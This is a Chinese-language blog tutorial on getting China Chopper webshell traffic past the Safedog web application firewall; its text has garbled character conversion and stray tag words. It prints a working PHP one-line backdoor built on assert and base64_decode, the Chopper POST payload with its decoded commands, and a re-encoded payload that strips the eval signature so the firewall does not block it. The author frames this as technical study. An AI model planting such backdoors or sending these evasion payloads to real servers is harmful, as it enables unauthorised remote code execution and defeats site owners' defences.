既然木馬已就緒,那麼想要利用木馬,必然有一個數據傳輸的過程,數據提交是必須的,數據返回通常也會有的,除非執行特殊命令。php
當咱們用普通菜刀鏈接後門時,數據時如何提交的,狗狗又是如何識別的,下面結合一個實例,用通俗易懂的方式來演示數據提交層直接過狗原理。nginx
本文意義:縱使網上有不少修改菜刀過狗的方法,可是我都看了下,侷限性比較大,並且不太系統,新人學了可能會只是其一不知其二apache
環境:安全
域名與服務器均爲我的真實全部。服務器
服務器開啓網站安全狗+服務器安全狗,引擎所有開啓,最高防禦級別。函數
對比環境:post
服務器:apache+php5.3;本地:nginx+php5.3無狗環境做爲對比網站
本地與有狗服務器具備相同的後門代碼與連接方式加密
說明:本文僅分析過狗原理與代碼實現,技術層面探討,菜刀或者其餘軟件製做與修改本文不予討論。lua
後門文件:
$a=array(base64_decode($_REQUEST['a']));
@array_map("assert",$a);
菜刀鏈接方式:http://localhost/test.php?xx=YXNzZXJ0KCRfUkVRVUVTVFsnc29maWEnXSk= 密碼:sofia
該文件特徵層面可過狗 ,上一篇文章已提到,
咱們知道,菜刀已存在這麼多年,安全狗早已對菜刀的特徵門清,咱們先來看下菜刀鏈接的時候特徵是什麼。
這是我隨便鏈接的一個後門,其實無論後門代碼是什麼,打開文件管理,菜刀提交的數據都是同樣的,如圖
代碼爲:
sofia=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
命令執行代碼,base64_decode結果爲如下,獲取當前目錄與磁盤名
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();
其中參數名「sofia」就是咱們所謂的菜刀密碼不須要多解釋吧?
那麼咱們在本地手工提交菜刀的post數據看一下:
本地正常返回當前目錄與磁盤名,而服務端未顯示,必定是被攔截咯,事實證實確實如此:
那爲何沒蹦出攔截框呢?
根據個人經驗,通常文件特徵層能檢測到是後門,纔會彈窗,數據層通常不彈,固然,這只是我我的看法,可能不嚴謹。
其實狗狗對後門的檢測文件特徵是與數據提交檢測機制是徹底獨立的。
爲了驗證這一點,我在同目錄下創建一個null.php,內容爲正常代碼:
當不post數據時,正常輸出內容,說明文件自己沒有問題
把狗狗的post數據發一下試試?
又沒有回顯了,再去狗狗日誌看下:
那麼很明顯了,菜刀的post數據已是個大特徵了。
相信你們都能看出來這個eval太惹眼了(固然,其餘版本或者其餘waf檢測的可能會是$_POST,或base64_decode)
sofia=@eval(base64_decode($_POST[z0]));
雖然看上去數據提交不怎麼注重隱蔽,可是不得不認可菜刀是個偉大發明。
由於php後門五花八門,接受數據的類型與格式各不相同,因而菜刀就在post數據中再次構造一個執行代碼,使得php後門接收到的數據所有統一爲:「eval('執行命令')」,這樣才使得菜刀的易用性才那麼強。
具體代碼執行與返回請參考上一章節
既然緣由清楚了,咱們接下來就修改post數據,修改的重點就在於替換eval特徵。
可是post數據中發揮空間過小,暫時沒想到什麼好辦法。
這裏可能就須要用一些其餘回調函數,或者其餘猥瑣姿式,可以直接執行來自post的base64加密後的純執行語句。
前面說過,post數據最終的結果爲:eval('執行命令')」,並且咱們的語句對a參數已經decode的了
$a=array(base64_decode($_REQUEST['a']));
那麼就直接把整個eval語句base64加密一下便可,
那麼咱們菜刀原始的利用語句能夠這麼構造:
eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();')
而後把這句話base64加密下,獲得:
ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
ok,那麼這時候咱們是直接把這句話傳給$a的,那麼post數據爲:
a=ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
試試?
成功返回結果,換個語句試試?
至此,這是數據流層面的過狗方式,固然過狗思路千千萬,不限於這一種,更多的是須要你們去發掘。
另外,
這裏要跟你們提一點,assert函數與eval函數是徹底不一樣的函數,不要覺得能出phpinfo()結果就是過狗了,assert能執行phpinfo()一類的函數,可是其餘php語句仍是是須要借用eval的,固然,執行命令也不限於eval,還有各類回調函數。
怎麼?你是否是還想問菜刀怎麼連?
本文開頭說了,這裏僅討論技術自己,至於如何去用,那麼,會php的人,看了這篇文字,應該已經有思路了,
而不會php的人,可能就想着:「博客趕忙給我來個一句話加軟件,最好打開就能用」,而後偷偷竊喜期望它能平天下。
我仍是那句話,安全之路,咱們大多數人還只是個學者,但願多關注技術自己,不要膨脹纔好。